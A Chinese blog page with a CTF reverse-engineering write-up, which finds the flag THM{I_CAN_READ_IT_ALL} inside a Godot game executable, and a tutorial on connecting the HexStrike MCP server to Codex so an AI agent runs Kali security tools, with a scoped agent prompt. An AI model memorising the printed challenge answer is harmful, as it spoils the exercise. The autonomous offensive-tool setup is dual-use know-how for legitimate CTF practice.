一、题目信息

• 题目名称：THE GAME CHALLENGE
• 题目文件：Tetrix.exe-1741979048280.zip
• 题目类型：逆向工程 / 游戏逆向 / 文件隐藏分析

题目描述：

Cipher has gone dark, but intel reveals he’s hiding critical secrets inside Tetris, a popular video game. Hack it and uncover the encrypted data buried in its code.

题目提供了一个 Windows 游戏程序，并在描述中提到 Tetris 和隐藏的加密数据。我的分析思路如下：

1. 识别附件和可执行文件的基本信息；
2. 检查 PE 节区及文件尾部是否存在额外数据；
3. 定位并提取嵌入的 Godot PCK 资源包；
4. 检查资源包结构和可能的加密特征；
5. 使用 Ghidra 复现十六进制编辑器的全文件搜索；
6. 排除误命中并定位 flag。

二、使用工具

三、解压附件

首先识别压缩包类型：

1

file Tetrix.exe-1741979048280.zip

输出：

1

Tetrix.exe-1741979048280.zip: Zip archive data, at least v2.0 to extract, compression method=deflate

这是一个普通的 ZIP 压缩包，直接解压：

1

unzip -n Tetrix.exe-1741979048280.zip

解压后得到：

1
2

Tetrix.exe
__MACOSX/

__MACOSX 是 macOS 创建压缩包时附带的元数据目录，可以忽略。真正需要分析的是 Tetrix.exe。

四、基础文件信息

4.1 识别文件类型

1

file Tetrix.exe

输出：

1

Tetrix.exe: PE32+ executable for MS Windows 5.02 (GUI), x86-64 (stripped to external PDB), 13 sections

由此可以判断，它是一个 64 位 Windows GUI 程序，并且包含 13 个 PE 节区。

4.2 计算文件哈希

1

sha256sum Tetrix.exe

输出：

1

64ba9f8a44b6d28026117497eedac76bf30189a09b5d8b7decf47fbd353ec96f  Tetrix.exe

记录哈希可以确认后续分析过程中样本没有发生变化。

4.3 查看文件大小

1

ls -lh Tetrix.exe

输出：

1

-rw-rw-rw- 1 meng meng 89M 2025年 3月15日 Tetrix.exe

一个简单的 Tetris 游戏体积接近 89 MB，说明文件中可能包含完整游戏引擎、资源包或其他附加数据。

五、分析 PE 节区

使用 objdump 查看 PE 节区：

1

objdump -h Tetrix.exe

关键输出：

1
2
3
4
5
6
7

Idx Name          Size      VMA               LMA               File off
  0 .text         03ee1650  0000000140001000  0000000140001000  00000400
  1 .data         0004a5c0  0000000143ee3000  0000000143ee3000  03ee1c00
  2 .rdata        00da4400  0000000143f2e000  0000000143f2e000  03f2c200
  3 pck           00000008  0000000144cd3000  0000000144cd3000  05036600
  4 .pdata        00146df0  0000000144cd4000  0000000144cd4000  04cd0800
  5 .xdata        001930a4  0000000144e1b000  0000000144e1b000  04e17600

这里最值得注意的是名为 pck 的节区。结合样本是游戏程序，可以联想到 Godot 引擎使用的 .pck 资源包。

该节区的文件偏移和声明大小分别为：

1
2

File offset = 0x05036600
Size        = 0x8

声明的节区结束位置为：

1

0x05036600 + 0x8 = 0x05036608

六、检查文件尾部数据

查看真实文件大小，并将十六进制偏移转换为十进制：

1
2

stat -c '%s' Tetrix.exe
printf "%d\n" 0x05036608

输出：

1
2

93021728
84108808

文件真实大小明显大于 pck 节声明的结束位置，尾部还存在：

1

93021728 - 84108808 = 8912920 bytes

也就是约 8.5 MiB 的附加数据。

从 PE 结构角度看，pck 节只声明了 8 字节，后续内容属于文件尾部的 overlay；从 Godot 打包结构看，从 0x05036600 开始一直到文件末尾的数据共同组成了嵌入式 PCK 包。

七、定位 Godot PCK 包头

查看 pck 节起始位置附近的数据：

1

xxd -s $((0x05036600)) -l 32 Tetrix.exe

输出：

1
2

05036600: 4744 5043 0200 0000 0400 0000 0300 0000  GDPC............
05036610: 0000 0000 0300 0000 3017 0000 0000 0000  ........0.......

其中：

1

47 44 50 43 = GDPC

GDPC 是 Godot PCK 文件的 magic，可以确认 Tetrix.exe 中嵌入了 Godot 游戏资源包。

继续搜索文件中的所有 GDPC：

1

grep -abo 'GDPC' Tetrix.exe | tail -20

部分结果：

1
2
3
4
5
6
7

45907339:GDPC
45907436:GDPC
45907536:GDPC
45907718:GDPC
46318144:GDPC
84108800:GDPC
93021724:GDPC

其中：

1

84108800 = 0x05036600

这与前面发现的 pck 节起始位置完全一致。文件末尾的 GDPC 则是 PCK 的尾部标记。

八、提取 PCK 资源包

从偏移 0x05036600 开始提取文件剩余内容：

1

tail -c +$((0x05036600 + 1)) Tetrix.exe > tetrix.pck

这里的 tail -c +N 从第 N 个字节开始读取，而文件偏移从 0 开始，因此需要加 1。

查看提取后的文件大小：

1

stat -c '%s' tetrix.pck

输出：

1

8912928

查看 PCK 头部：

1

xxd -l 128 tetrix.pck

输出：

1
2
3
4
5
6
7

00000000: 4744 5043 0200 0000 0400 0000 0300 0000  GDPC............
00000010: 0000 0000 0300 0000 3017 0000 0000 0000  ........0.......
00000020: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000030: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000040: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
00000060: 4600 0000 ...

可以初步解析为：

九、检查 PCK 目录区

为了进一步检查 PCK 头部和目录区，我编写了下面的 Python 脚本。

pck_header.py：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

from pathlib import Path
import math
import struct


def entropy(buf):
    if not buf:
        return 0

    frequencies = [0] * 256
    for byte in buf:
        frequencies[byte] += 1

    result = 0
    for count in frequencies:
        if count:
            probability = count / len(buf)
            result -= probability * math.log2(probability)

    return result


data = Path("tetrix.pck").read_bytes()

magic = data[:4]
fmt, major, minor, patch, flags, file_base = struct.unpack_from(
    "<IIIIIQ", data, 4
)
file_count = struct.unpack_from("<I", data, 0x60)[0]
directory = data[0x64:file_base]

print("[+] magic:", magic)
print("[+] pck_format:", fmt)
print("[+] godot_version:", f"{major}.{minor}.{patch}")
print("[+] flags:", flags)
print("[+] file_base:", hex(file_base), file_base)
print("[+] file_count:", file_count)
print(
    "[+] directory_region:",
    hex(0x64),
    "-",
    hex(file_base),
    "size =",
    len(directory),
)
print("[+] directory_entropy:", round(entropy(directory), 4))
print("[+] directory_head:")
print(directory[:64].hex())

运行脚本：

1

python3 pck_header.py

输出：

1
2
3
4
5
6
7
8
9
10

[+] magic: b'GDPC'
[+] pck_format: 2
[+] godot_version: 4.3.0
[+] flags: 3
[+] file_base: 0x1730 5936
[+] file_count: 70
[+] directory_region: 0x64 - 0x1730 size = 5836
[+] directory_entropy: 7.9702
[+] directory_head:
28a995f8be6ab5a2771571f9eeadfd519816000000000000a9a9d11444480e8f...

目录区域的熵值为 7.9702，非常接近理论最大值 8，说明这部分数据具有很强的随机性。

高熵数据可能来自加密或压缩，不能只根据熵值直接下结论。不过结合 PCK 标志位和目录内容不可直接辨认，可以合理怀疑该 PCK 的目录区域经过了加密处理。

十、搜索 Godot 相关字符串

继续使用 strings 搜索 Godot、资源路径和加密相关字符串：

1
2

strings -a -n 5 Tetrix.exe \
  | grep -Eai 'script_encryption|encryption_key|PackedData|FileAccessEncrypted|AES|encrypt|decrypt|key|godot|GDPC|pck|res://'

程序中可以找到 Godot 引擎版本：

1

Godot Engine v4.3.stable.official

同时还能看到一些资源路径和编译后的 GDScript 文件：

1
2
3
4
5
6
7
8
9

res://GUI.gdc
res://StoreSettings.gdc
res://Utils.gdc
res://blocks/I.gdc
res://blocks/J.gdc
res://blocks/L.gdc
res://blocks/O.gdc
res://blocks/S.gdc
res://blocks/T.gdc

这些信息进一步确认了样本是 Godot 游戏，并且包含 .gdc 编译脚本。

十一、尝试搜索明文密钥

Godot PCK 常见的加密密钥长度为 256 bit，也就是 32 字节。如果密钥以十六进制字符串保存，通常会表现为 64 个十六进制字符。

可以使用下面的命令进行初步搜索：

1
2
3

strings -a -n 32 Tetrix.exe \
  | grep -Eio '[0-9a-fA-F]{64}' \
  | sort -u

搜索结果主要是：

1
2
3
4
5

0000000000000000000000000000000000000000000000000000000000000000
1973197219711970196919681967196619651964196319621961196019591958
1989198819871986198519841983198219811980197919781977197619751974
3333333333333333333333333333333333333333333333333333333333333333
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff

这些内容大多是全 0、全 f、重复字符或年份序列，不像随机生成的有效密钥。

如果要沿着 PCK 解包路线继续分析，就需要逆向程序，寻找以原始二进制形式保存或在运行时生成的密钥。但这道题还有一条更直接的路线：对完整文件搜索 flag 特征。

十二、使用 Ghidra 进行全文件搜索

参考其他解题思路，可以使用 Bless Hex Editor 打开整个文件并搜索 THM。我希望使用 Ghidra 复现相同的搜索方式。

这里需要注意：

• Bless Hex Editor 按原始文件偏移从头到尾显示数据；
• Ghidra 默认按 PE 格式导入时，显示的是经过 PE Loader 映射后的地址空间；
• 如果希望在 Ghidra 中像十六进制编辑器一样查看整个原始文件，应将样本作为 Raw Binary 导入。

重新导入 Tetrix.exe：

1. 选择 File -> Import File；
2. 选择 Tetrix.exe；
3. 将 Format 设置为 Raw Binary；
4. 将 Base Address 设置为 0x0；
5. 将 Language 设置为 x86:LE:64:default。

这样导入后，Ghidra 中显示的地址就等于文件偏移，与 Bless 左侧显示的偏移一致。由于这里的目标只是搜索原始字节，不需要运行自动分析。

十三、搜索 THM 特征

打开 Raw Binary 版本后，选择：

1

Search -> Memory

搜索下面的 ASCII 字节：

1

54 48 4D

它对应字符串：

1

THM

搜索结果中出现了多个候选地址：

1
2
3
4
5

041567f7
042502c6
043906fa
050cf1b6
058b159c

这些位置只是包含 THM 字节序列，不一定都是 flag。

13.1 排除误命中

查看第一个搜索结果附近的数据，发现它位于普通字符串：

1

FEATURE_ARITHMETIC

其中 ARITHMETIC 恰好包含：

1

ARI[THM]ETIC

这只是字符串子串造成的误命中。

TryHackMe flag 通常使用下面的格式：

1

THM{...}

其十六进制前缀为：

1

54 48 4D 7B

因此搜索时不仅要检查 THM，还要确认后面是否紧跟 {。

十四、定位最终 flag

继续检查搜索结果，在文件偏移 0x058b159c 附近发现下面的完整字节序列：

1

54 48 4D 7B 49 5F 43 41 4E 5F 52 45 41 44 5F 49 54 5F 41 4C 4C 7D

转换为 ASCII：

1

T  H  M  {  I  _  C  A  N  _  R  E  A  D  _  I  T  _  A  L  L  }

最终得到：

1

THM{I_CAN_READ_IT_ALL}

十五、总结

这道题属于游戏逆向和文件隐藏分析题。虽然最终可以通过搜索明文 THM{ 找到 flag，但完整分析过程中涉及了多个值得记录的知识点。

整体分析路线如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

解压附件
    |
识别 PE32+ Windows x64 程序
    |
分析 PE section
    |
发现可疑的 pck 节
    |
定位 0x05036600 处的 GDPC
    |
确认 EXE 中嵌入 Godot PCK
    |
提取 tetrix.pck
    |
分析 PCK 头部和目录区域熵值
    |
判断资源包目录疑似经过加密
    |
转向全文件特征搜索
    |
使用 Ghidra Raw Binary 导入 EXE
    |
搜索 THM 和 THM{
    |
排除 ARITHMETIC 等误命中
    |
在 0x058b159c 处找到 flag

本题的关键经验：

• file 可以快速判断文件类型和目标架构；
• objdump -h 可以查看 PE 节区布局；
• 看到 pck 和 GDPC 时，应联想到 Godot PCK 资源包；
• 文件真实大小大于所有节区覆盖范围时，可能存在 overlay 数据；
• 熵值接近 8 说明数据随机性很强，但需要结合格式标志和上下文判断是加密还是压缩；
• Ghidra 默认 PE 导入不等价于十六进制编辑器的全文件视图；
• 若要在 Ghidra 中按原始文件偏移搜索，应使用 Raw Binary 导入，并将 Base Address 设置为 0x0；
• 搜索 THM 可能出现普通单词子串造成的误报，应进一步确认 THM{；
• 最终 flag 明文位于原始文件偏移 0x058b159c 附近。

最终答案：

1

THM{I_CAN_READ_IT_ALL}

本教程是使用hexstrike + vscode copilot/codex，目的是实现渗透测试/CTF 自动化

写这篇博客的原因

首先是我个人在学习了解了一些AI方面相关的知识后，平时使用的办法通常是将需求告知codex，然后等codex将详细步骤发给我再执行。但是在学完了MCP服务后，开始萌生了能不能直接通过提示词让codex调用我本地虚拟机的kali来执行一些重复性任务？

关于MCP

我在写这篇博客的时候对MCP的认识还是相当浅薄的，也很希望阅读到这篇文章的大家能指出哪里的不足和错误。

首先介绍MCP：
MCP是一套可以让AI调用外部工具的标准协议（Model Context Protocol 又称模型上下文协议）。
MCP统一了AI和外部工具/数据之间的连接方式，换句话说就是MCP实现了AI端和程序之间的交互。这里MCP服务端可以让AI知道：
Resources: 可供AI读取的资源
Prompts: 预设好的提示词模板来实现工作流
Tools: AI能够调用的工具/函数（这里我对函数的理解来自2026的CS50课程，里面说 函数在程序中就是一个动词或者动作来完成某一特定任务）

在MCP中有四部分：
用户
↓
MCP Host：运行 AI 的一端，例如 Codex / IDE 插件 / CLI
↓
MCP Client：Host 内部负责和 MCP Server 通信的部分
↓
MCP Server：对外暴露能力的服务
↓
Tools：Server 提供给 Host 使用的内容

在我的这个场景里：
Codex 作为 Host，通过 MCP Client 连接 HexStrike 这个 MCP Server，再由 HexStrike 暴露 Kali 里的各种工具能力

以上就是我对MCP的理解，之后有更深入的理解也会更新。

关于codex

这里的codex属于AI端，也就是MCP Host/Agent 的部分，可以把它类比成人类的大脑，你用的模型越优秀，你的实际解决问题能力也就越强（这里我个人觉得chatgpt,manus，calude 更好用些）

hexstrike

HexStrike AI 是一款革命性的 AI 驱动攻击性安全框架，结合了专业安全工具与自主 AI 代理 ，提供全面的安全测试能力。
当然这只是hexstrike官网上这样描述的，不过我觉得这个描述有些夸大了，来看github上的描述：
HexStrike AI MCP 代理是一款先进的 MCP 服务器，允许 AI 代理（Claude、GPT、Copilot 等）自主运行 150+ 网络安全工具，用于自动化渗透测试、漏洞发现、漏洞悬赏自动化和安全研究。无缝连接大型语言模型与现实世界的攻击性安全能力。

实际上hexstrike就是一个MCP server, 它的作用就是把很多kali安全工具封装成了MCP tools，从而实现了AI HOST 能自主调用工具来完成研究。

最明显的一点就是看他仓库代码，并没有特别多的文件，只有 hexstrike_mcp.py，hexstrike_server.py，这两个运行文件。其次是requirements.txt

那么接下来我们要思考的就很简单了，如何配置hexstrike-ai 并实现 codex 与之交互从而达成渗透测试全自动呢？ 这里官方有给出copilot配置的视频，所以这里我就不再演示，仅演示codex如何配置
https://www.youtube.com/watch?v=pSoftCagCm8 # 官方安装教程视频链接

部署kali并安装hexstrike

为了节约空间，同时网上关于如何部署kali的教程已经非常多也非常详细了，这里就不再演示，接下来直接从安装hexstrike开始。

安装 hexstrike并启动server

这里因为之后想让直接调用kali的工具，这里直接在kali中执行

1
2

sudo apt update
sudo apt install hexstrike-ai -y

安装完成后检查：

1
2

which hexstrike_server
which hexstrike_mcp

启动hexstrike-server：

1

hexstrike_server --port 8888   #这里官方默认开启端口是8888，我这里也复用官方设置

另开一个终端检查：

1

curl http://127.0.0.1:8888/health

Kali开启SSH

由于vscode运行在windows上，而hexstrike和工具都在kali里，所以需要通过远程执行通道来让windows能安全进入kali并启动hexstrike_mcp --server http://127.0.0.1:8888

kali启动SSH

1
2

sudo systemctl enable --now ssh
sudo systemctl status ssh   #检查状态

windows配置免密SSH登录kali

在windows powershell中执行：

1

ssh-keygen -t ed25519 -f $env:USERPROFILE\.ssh\kali_hexstrike

把公钥传到kali：

1

type $env:USERPROFILE\.ssh\kali_hexstrike.pub | ssh username@Kali_IP "mkdir -p ~/.ssh && cat >> ~/.ssh/authorized_keys && chmod 700 ~/.ssh && chmod 600 ~/.ssh/authorized_keys"

测试免密登录：

1

ssh -i $env:USERPROFILE\.ssh\kali_hexstrike username@kali_IP "echo ok"

windows写入SSH配置

1

notepad $env:USERPROFILE\.ssh\config

写入：

1
2
3
4
5
6

Host kali-hexstrike
    HostName kali_ip
    User username
    IdentityFile C:\Users\你的Windows用户名\.ssh\kali_hexstrike
    StrictHostKeyChecking accept-new
# 请把 `kali_ip` 替换成你的 Kali IP，把 `username` 替换成你的 Kali 用户名。  

测试：

1

ssh kali-hexstrike "echo ok"

配置codex的mcp

OpenAI 官方文档有说明，Codex 的 CLI 和 VSCode IDE 插件共享 ~/.codex/config.toml
所以接下来从vscode齿轮菜单打开配置文件

也可以通过powershell，执行：

1

notepad $env:USERPROFILE\.codex\config.toml

1
2
3
4
5
6
7
8
9
10
11
12
13

[mcp_servers.hexstrike]
command = "C:\\Windows\\System32\\OpenSSH\\ssh.exe"
args = [
  "-T",
  "-o", "BatchMode=yes",
  "kali-hexstrike",
  "hexstrike_mcp",
  "--server", "http://127.0.0.1:8888",
  "--timeout", "300"
]
startup_timeout_sec = 60
tool_timeout_sec = 300
enabled = true #非必须

在 Codex 中确认 MCP Server 是否可用

在 VSCode 里 ctrl+shift+p 输入 Developer: Reload Window
然后打开 Codex 插件面板,选择MCP服务器能看到

接下来启动hexstrike_mcp服务器
ctrl+shite+p 选择 MCP: list servers
打开hexstrike服务

之后可以直接在Codex cli中对话检查：
List available MCP tools.

全自动化搭建完成

接下来需要做的就很简单了——提供提示词，这里以ctf为例：
首先我在kali创建了一个名为CTF的文件夹 mkdir -p ~/CTF
为了方便写了一个便于管理的脚本 new_ctf.sh：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198

#!/usr/bin/env bash
set -euo pipefail

show_help() {
    echo "用法:"
    echo "  $0 -p <比赛/平台目录> -t <题目类型> -n <题目名称> [-c]"
    echo
    echo "参数:"
    echo "  -p    比赛或平台目录，例如 iscc、nssctf、buuctf"
    echo "  -t    题目类型，只允许 misc/web/pwn/re/mobile"
    echo "  -n    题目名称，例如 "who am i" "
    echo "  -c    创建后将 ~/CTF/current 指向该题目目录"
    echo
    echo "示例:"
    echo "  $0 -p iscc -t misc -n \"who am i\" -c"
    echo "  $0 -p iscc -t web -n ez_login -c"
}

BASE_DIR="${HOME}/CTF"
PLATFORM=""
TYPE=""
NAME=""
SET_CURRENT=false

while getopts ":p:t:n:ch" opt; do
    case "$opt" in
        p)
            PLATFORM="$OPTARG"
            ;;
        t)
            TYPE="$OPTARG"
            ;;
        n)
            NAME="$OPTARG"
            ;;
        c)
            SET_CURRENT=true
            ;;
        h)
            show_help
            exit 0
            ;;
        \?)
            echo "[-] 未知参数: -$OPTARG"
            show_help
            exit 1
            ;;
        :)
            echo "[-] 参数 -$OPTARG 需要值"
            show_help
            exit 1
            ;;
    esac
done

if [[ -z "$PLATFORM" || -z "$TYPE" || -z "$NAME" ]]; then
    echo "[-] 缺少必要参数"
    show_help
    exit 1
fi

case "$TYPE" in
    misc|web|pwn|re|mobile)
        ;;
    *)
        echo "[-] 题目类型不合法: $TYPE"
        echo "[-] 只允许: misc/web/pwn/re/mobile"
        exit 1
        ;;
esac

if [[ "$NAME" == *"/"* ]]; then
    echo "[-] 题目名称不能包含 /"
    exit 1
fi

mkdir -p "$BASE_DIR"

TARGET_DIR="$BASE_DIR/$PLATFORM/$TYPE/$NAME"
CURRENT_LINK="$BASE_DIR/current"

mkdir -p "$TARGET_DIR"/{attachments,notes,output,scripts,tmp}

README_FILE="$TARGET_DIR/README.md"
if [[ ! -f "$README_FILE" ]]; then
    cat > "$README_FILE" <<EOF
# $NAME

## 基本信息

- 平台/比赛：$PLATFORM
- 题目类型：$TYPE
- 题目名称：$NAME
- 状态：未完成

## 目录说明

### attachments/

用于存放题目原始附件。

例如：
- zip 压缩包
- 图片
- 音频
- pcap 流量包
- ELF/EXE 二进制文件
- 题目给出的其他原始文件

原则：原始附件不要随意修改或覆盖。

### notes/

用于存放解题笔记。

例如：
- 分析过程
- 关键命令
- 思路记录
- flag 获取过程
- 失败尝试记录

### output/

用于存放工具生成的结果和中间文件。

例如：
- binwalk 解包结果
- foremost 提取结果
- 脚本输出
- 解码后的图片、音频、文本
- 扫描结果

### scripts/

用于存放自己写的解题脚本。

例如：
- Python 脚本
- Bash 脚本
- 解码脚本
- 爆破脚本
- 数据处理脚本

### tmp/

用于存放临时文件。

例如：
- 临时测试文件
- 临时转换结果
- 可删除的中间文件

## 解题记录

### 初始观察

### 分析过程

### 关键命令

### 最终 Flag

\`\`\`
flag{}
\`\`\`
EOF
fi

if $SET_CURRENT; then
    if [[ -e "$CURRENT_LINK" && ! -L "$CURRENT_LINK" ]]; then
        echo "[-] $CURRENT_LINK 已存在且不是软链接，请手动处理后再试"
        exit 1
    fi

    ln -sfn "$TARGET_DIR" "$CURRENT_LINK"
fi

echo "[+] 创建成功:"
echo "    $TARGET_DIR"
echo
echo "[+] 已生成目录:"
echo "    attachments/  原始附件"
echo "    notes/        解题笔记"
echo "    output/       输出结果"
echo "    scripts/      解题脚本"
echo "    tmp/          临时文件"
echo "    README.md     题目说明"

if $SET_CURRENT; then
    echo
    echo "[+] 当前题已切换:"
    echo "    $CURRENT_LINK -> $(readlink -f "$CURRENT_LINK")"
fi

echo
echo "[+] 进入目录:"
echo "    cd \"$TARGET_DIR\""

使用方式

1

./new_ctf.sh -p 平台名 -t 题目类型 -n 题目名称 -c

提示词：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291

这是一个已授权的 CTF / misc 题目，请使用当前已启用的 HexStrike MCP server 与 Kali 中可用工具，对题目附件进行持续分析，目标是找到最终 flag，并产出一份只保留成功解题思路的 WP。

====================
一、当前环境
====================

当前 CTF 总目录：

/home/meng/CTF/

当前题目工作目录：

/home/meng/CTF/current/

注意：
`/home/meng/CTF/current` 是当前正在分析题目的软链接，真实目录位于：

/home/meng/CTF/<比赛名>/<题型>/<题目名>/

你在 `/home/meng/CTF/current/` 下创建、修改、保存的文件，最终都会落到该题目的真实目录中。

本题目标：

1. 找到最终 flag
2. 生成一份只包含成功解题思路的 WP
3. 持续保存分析进度，便于中断后继续

flag 格式：



如果最终无法确认唯一 flag，请将所有疑似 flag 按可能性从高到低排序，写入：

- /home/meng/CTF/current/notes/wp.md
- /home/meng/CTF/current/notes/task_state.md

====================
二、连接与工具规则
====================

1. SSH 与 MCP server 已经配置完成，不要询问 SSH 用户名、密码或连接方式。
2. 不要手动执行 ssh。
3. 直接使用当前已启用的 HexStrike MCP server 暴露出的具体工具能力。
4. 不要寻找一个叫“hexstrike”的单独工具；HexStrike 是 MCP server 名称，不是具体工具名。
5. 如果不确定当前有哪些 MCP 工具可用，先列出可用 MCP tools，再选择合适工具继续分析。
6. 优先使用 MCP 暴露出的能力；如果 MCP 中没有合适工具，再使用 Kali 中现有命令行工具。
7. 如果需要当前 Kali 中没有安装的新工具，必须先告诉我：
   - 工具名
   - 用途
   - 安装命令
   - 为什么需要它

   等我确认后再安装。

====================
三、目录与文件规则
====================

所有操作必须限制在：

/home/meng/CTF/

禁止在 `/home/meng/CTF/` 之外创建、修改、删除任何文件。

当前题目目录：

/home/meng/CTF/current/

原始附件目录：

/home/meng/CTF/current/attachments/

脚本目录：

/home/meng/CTF/current/scripts/

输出目录：

/home/meng/CTF/current/output/

临时目录：

/home/meng/CTF/current/tmp/

笔记目录：

/home/meng/CTF/current/notes/

最终 WP：

/home/meng/CTF/current/notes/wp.md

进度记录：

/home/meng/CTF/current/notes/task_state.md

必须遵守：

1. 不允许删除、覆盖、修改 `attachments/` 中的原始附件。
2. 自己编写的脚本只能写入 `scripts/`。
3. 脚本输出与工具中间结果只能写入 `output/` 或 `tmp/`。
4. 不要在 Windows 本地目录中分析文件。
5. 不要使用 `F:\`、`C:\`、桌面、下载目录、`/tmp`、家目录根目录等路径。
6. 所有路径尽量使用 `/home/meng/CTF/current/...` 的绝对路径，不依赖相对路径。

====================
四、断点续做与进度保存
====================

为了防止 token 不足、额度不足、网络波动、工具异常或会话中断，请持续保存进度。

在以下时机必须更新：

/home/meng/CTF/current/notes/task_state.md

更新时机：
1. 获得关键中间结果后
2. 即将因为异常、中断、额度或 token 限制停止时

task_state.md 至少包含：

1. 已分析过的文件
2. 已调用过的工具
3. 已执行过的关键命令
4. 已编写过的脚本路径
5. 已生成的关键输出文件
6. 发现的有效线索
7. 已排除的方向
8. 当前最可能的下一步
9. 当前疑似 flag 候选
10. 如果中途停止，下一位接手者该从哪里继续

如果即将中断，不要只在聊天里说明，必须先把当前进度写入 `task_state.md`。

====================
五、分析流程要求
====================

请按 CTF  解题工作流持续推进，目标是找到 `` 格式 flag。

第一阶段：环境确认

先执行并确认：

- `pwd`
- `readlink -f /home/meng/CTF/current`
- `find /home/meng/CTF/current -maxdepth 2 -print`
- `ls -lah /home/meng/CTF/current/attachments/`

第二阶段：初始分析

识别附件类型：

- `file /home/meng/CTF/current/attachments/*`

然后根据文件类型选择合适工具继续分析。优先考虑但不限于以下方向：

- file
- strings
- exiftool
- binwalk
- foremost
- steghide
- xxd / hexdump
- tshark
- ffmpeg / sox
- unzip / zipinfo
- john / hashcat
- python3
- grep / sed / awk

第三阶段：深入分析

如果发现以下线索，必须继续深入验证：

1. 压缩包、伪加密、嵌套文件
2. 图片隐写、EXIF、LSB、附加数据
3. 音频隐写、频谱、波形、摩斯、DTMF、BFSK、反相、左右声道差异
4. 流量包、HTTP、DNS、TCP 流
5. 编码、Base64、Base32、Hex、ROT、凯撒、栅栏、培根、摩斯
6. 哈希、密码、弱口令、字典爆破
7. 二进制、字符串、壳、调试信息
8. 题目描述中的关键词提示，例如顺序、镜像、循环、广播、校区、图片、音频等

第四阶段：脚本辅助

如果需要写脚本：

1. 脚本必须保存到 `/home/meng/CTF/current/scripts/`
2. 文件名要表达用途，例如：
   - solve_audio.py
   - extract_bits.py
   - decode_morse.py
3. 输出必须写入 `output/` 或 `tmp/`
4. 不要写死 Windows 路径
5. 写脚本前先说明目的，执行后根据结果继续推进

第五阶段：flag 验证

找到疑似 flag 后，必须验证其是否符合格式要求

如果存在多个疑似 flag，请按可能性从高到低排序，并说明排序理由。

====================
六、WP 与归档要求
====================

最终 WP 必须写入：

/home/meng/CTF/current/notes/wp.md

WP 只保留成功解题思路，不要写成长篇失败流水账。

wp.md 至少包含：

1. 题目名称
2. 题目类型
3. 附件列表
4. 成功解题思路
5. 关键工具与命令
6. 关键脚本说明
7. 关键中间结果
8. 最终 flag
9. 简短总结

失败尝试如果对理解题目很重要，可以简短提一句；详细失败记录写入：

/home/meng/CTF/current/notes/task_state.md

====================
七、清理规则
====================

解题完成后，请整理当前题目目录。

必须保留：

1. attachments/ 中的原始附件
2. 成功解题用到的脚本
3. 成功解题相关的关键输出文件
4. wp.md
5. task_state.md

可以清理：

1. 明确无用的临时文件
2. 重复生成的中间文件
3. 失败尝试产生的大量无意义输出
4. tmp/ 中不再需要的文件

清理要求：

1. 不允许删除 attachments/ 中的任何文件
2. 不允许删除 wp.md
3. 不允许删除 task_state.md
4. 不确定是否有用的文件不要删除，可以保留并在 task_state.md 中说明
5. 清理前先列出准备删除的文件清单
6. 只删除 `/home/meng/CTF/current/tmp/` 和 `/home/meng/CTF/current/output/` 中明确无用的文件

====================
八、禁止事项
====================

1. 不要访问非题目目标
2. 不要攻击公网真实目标
3. 不要删除、覆盖、修改原始附件
4. 不要在 `/home/meng/CTF/` 之外写入文件
5. 不要把脚本写到 `/tmp`、桌面、下载目录、家目录根目录或 Windows 本地目录
6. 不要进行与本题无关的扫描、爆破或破坏性操作
7. 不要只给泛泛思路，要基于工具结果持续推进
8. 不要在没有保存 `task_state.md` 的情况下结束分析

====================
九、执行要求
====================

从现在开始直接进入分析流程。

请先完成以下事项：

1. 确认 `/home/meng/CTF/current` 的真实路径
2. 列出当前题目目录结构
3. 识别 `attachments/` 中附件类型
4. 选择并调用合适的 MCP 工具或 Kali 工具开始分析
5. 每完成一个阶段就更新 `notes/task_state.md`
6. 找到 flag 后生成 `notes/wp.md`
7. 最后只清理明确无用的临时文件，保留附件、脚本、关键输出、WP 与进度记录

注意：
每一步先简要说明目的，再执行工具或命令；不要停留在泛泛建议层面，要根据每一次返回结果继续推进。

1
2
3
4

readlink -f /home/meng/CTF/current
ls -lah /home/meng/CTF/current
ls -lah /home/meng/CTF/current/attachments
curl http://127.0.0.1:8888/health

相关资料

• HexStrike 官网
• HexStrike GitHub 仓库
• 官方安装演示视频（YouTube）

这篇笔记整理了我在学习和靶场中常用的信息收集思路，适用于前期侦察（Recon）阶段。

